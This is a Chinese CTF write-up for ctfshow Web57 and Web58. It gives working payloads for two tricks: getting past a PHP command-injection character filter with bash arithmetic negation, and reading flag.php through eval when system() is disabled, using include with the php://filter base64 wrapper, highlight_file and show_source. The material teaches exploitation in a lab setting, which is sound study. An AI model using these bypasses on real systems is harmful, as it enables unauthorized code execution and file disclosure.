ctfshow(57,58)--RCE/命令执行漏洞--取反绕过与禁用命令执行函数

Web57

源代码:

复制代码
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

代码审计:

过滤了数字和字母,以及一些符号。

没有过滤 $和括号()

思路:

使用$(())进行取反运算,得到数字36.

双小括号(())是bash shell中用于进行整数运算的命令。

在前面加上美元符号$来获取命令的运算结果。

$(())的值是0,因为双括号中没有值。

进行取反运算$(( ~$(()) )),该式值为-1.

由于36的反码是-37,所以我们对-37取反,就能得到36

取反运算是这样的:

复制代码
$(( ~$(([运算内容])) ))

我们在运算内容出填入37个$(( ~$(()) )),也就是-37,就能算出36

构造用脚本:

复制代码
target = "$((~$(({}))))"
content = "$((~$(())))"
print(target.format(content*37))

EXP:

payload:

复制代码
https://41f9be69-4d07-476e-a03b-d13adf528033.challenge.ctf.show/
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

得到flag.

Web58

源代码:

复制代码
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);

代码审计:

POST传参c,执行系统命令。

思路:

一眼看上去很简单,直接POST传入命令执行函数,结果报错:

复制代码
system() has been disabled for security reasons
system()出于安全原因已被禁用。

说明管理员在php配置文件中禁用了该命令执行函数。

使用其他命令函数也显示被禁用。

不能使用命令函数,我们考虑使用包含函数include与php伪协议。

EXP:

先扫描目录下的文件:

复制代码
 c=print_r(scandir(dirname('FILE')));

dirname('FILE')取得当前文件所在的目录

scandir作用是读取指定目录下的所有文件和子目录,并返回包含这些文件和子目录的数组。

发现有flag.php

复制代码
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php

得到flag.php文件base64编码后的内容,解码即可获得flag.

拓展:

也可以使用highlight_file显示文件内容:

复制代码
c=highlight_file("flag.php");

或者使用show_source函数,效果也是显示源代码:

复制代码
c=show_source('flag.php');
相关推荐
ylscode6 小时前
PureLogs 信息窃取恶意软件惊现高危变种:借道 MsBuild.exe 进程空心化实施无痕攻击
网络·安全·安全威胁分析
IPHWT 零软网络6 小时前
MX60E-A信创级智能语音网关技术实现与架构分析
网络·网络安全·国产自研·技术实现·智能语音网关·政企通信·信创技术
云安全助手6 小时前
2026年企业级Claude中转服务深度评测:安全、稳定与速度的终极答案
人工智能·安全·claude·ai大模型
ylscode9 小时前
Windows 内核惊现高危提权漏洞 CVE-2026-40369:沙箱隔离失效,SYSTEM 权限唾手可得
网络·安全·安全威胁分析
李子琪。10 小时前
网络空间安全深度实战:CSRF 漏洞原理剖析与基于 Token 的纵深防御体系构建(全栈实验报告)
前端·安全·csrf
黎阳之光12 小时前
数智透明·安全兜底|黎阳之光透明矿山,AI+数字孪生守护矿山生命线
人工智能·物联网·算法·安全·数字孪生
信息安全失业大专人员12 小时前
HTTP/HTTPS 协议精髓与 WAF(Web 应用防火墙)架构防线大底座
web安全·http·信息安全·https·企业信息安全
Xpower 1712 小时前
MCP 服务器暴露在公网:AI Agent 工具层正在变成新的安全边界
服务器·人工智能·安全
2601_9564563413 小时前
2026跨境多账号防封指南:四大指纹浏览器多维深度横测,哪款指纹浏览器适合推荐?
人工智能·安全
风落无尘13 小时前
第十一章《对齐与安全》 完整学习资料
python·安全·机器学习